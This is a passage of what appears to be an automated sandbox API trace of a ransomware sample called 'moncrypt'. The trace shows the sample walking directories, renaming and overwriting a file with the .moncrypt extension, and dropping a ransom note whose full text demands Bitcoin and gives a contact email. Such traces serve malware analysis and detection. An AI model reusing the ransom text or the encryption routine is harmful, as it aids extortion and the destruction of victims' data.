(hMem=0x440004) returned 0x555b78 [0052.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.114] GlobalUnlock (hMem=0x44000c) returned 0 [0052.114] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.114] GlobalUnlock (hMem=0x440004) returned 0 [0052.114] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.114] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.114] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.115] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.115] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.115] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.115] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.115] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.115] GlobalLock (hMem=0x440004) returned 0x550170 [0052.115] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.115] GlobalUnlock (hMem=0x440004) returned 0 [0052.115] GlobalLock (hMem=0x440004) returned 0x550170 [0052.116] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.116] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.116] GlobalUnlock (hMem=0x440004) returned 0 [0052.116] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.116] GlobalUnlock (hMem=0x44000c) returned 0 [0052.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.116] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.116] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0052.116] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.116] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.116] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.116] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.116] GlobalUnlock (hMem=0x44000c) returned 0 [0052.116] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.116] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.116] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.116] GlobalUnlock (hMem=0x44000c) returned 0 [0052.116] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.116] GlobalUnlock (hMem=0x440004) returned 0 [0052.116] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.117] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.118] CloseHandle (hObject=0x18c) returned 1 [0052.118] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\я")) returned 1 [0052.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 0x54e240 [0052.119] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.119] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.119] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", dwFileAttributes=0x20) returned 1 [0052.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.moncrypt")) returned 1 [0052.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.120] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.120] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xe743 [0052.120] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.120] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.122] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.122] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.122] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.122] GlobalUnlock (hMem=0x44000c) returned 0 [0052.122] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0052.122] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.123] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.123] GlobalUnlock (hMem=0x44000c) returned 0 [0052.123] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.123] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.123] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.123] GlobalUnlock (hMem=0x440004) returned 0 [0052.123] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.123] GlobalUnlock (hMem=0x44000c) returned 0 [0052.123] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.123] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.123] GlobalUnlock (hMem=0x44000c) returned 0 [0052.123] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.123] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.123] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.123] GlobalUnlock (hMem=0x44000c) returned 0 [0052.123] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.124] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.124] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.124] SetFilePointer (in: hFile=0x18c, lDistanceToMove=59203, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xe743 [0052.124] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.124] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.124] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.135] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.135] CloseHandle (hObject=0x18c) returned 1 [0052.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.136] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.136] CloseHandle (hObject=0x18c) returned 1 [0052.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.137] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.137] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.137] GlobalUnlock (hMem=0x44000c) returned 0 [0052.137] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.137] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.137] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.137] GlobalUnlock (hMem=0x44000c) returned 0 [0052.137] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.137] GlobalUnlock (hMem=0x440004) returned 0 [0052.137] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a288, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.142] GetLastError () returned 0x2 [0052.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.145] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.145] CloseHandle (hObject=0x18c) returned 1 [0052.146] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0052.146] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.146] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.146] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.146] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.146] GlobalUnlock (hMem=0x440004) returned 0 [0052.146] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.146] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.146] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.146] GlobalUnlock (hMem=0x440004) returned 0 [0052.146] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.146] GlobalUnlock (hMem=0x44000c) returned 0 [0052.146] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.146] CharLowerBuffW (in: lpsz="LAYERS.INF", cchLength=0xa | out: lpsz="layers.inf") returned 0xa [0052.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpUsedDefaultChar=0x0) returned 73 [0052.147] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\LAYERS\\LAYERS.INF", lpUsedDefaultChar=0x0) returned 4 [0052.147] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.147] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.147] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.147] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.147] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.147] GlobalUnlock (hMem=0x44000c) returned 0 [0052.147] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.147] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.147] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.147] GlobalUnlock (hMem=0x44000c) returned 0 [0052.147] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.147] GlobalUnlock (hMem=0x440004) returned 0 [0052.148] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.148] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 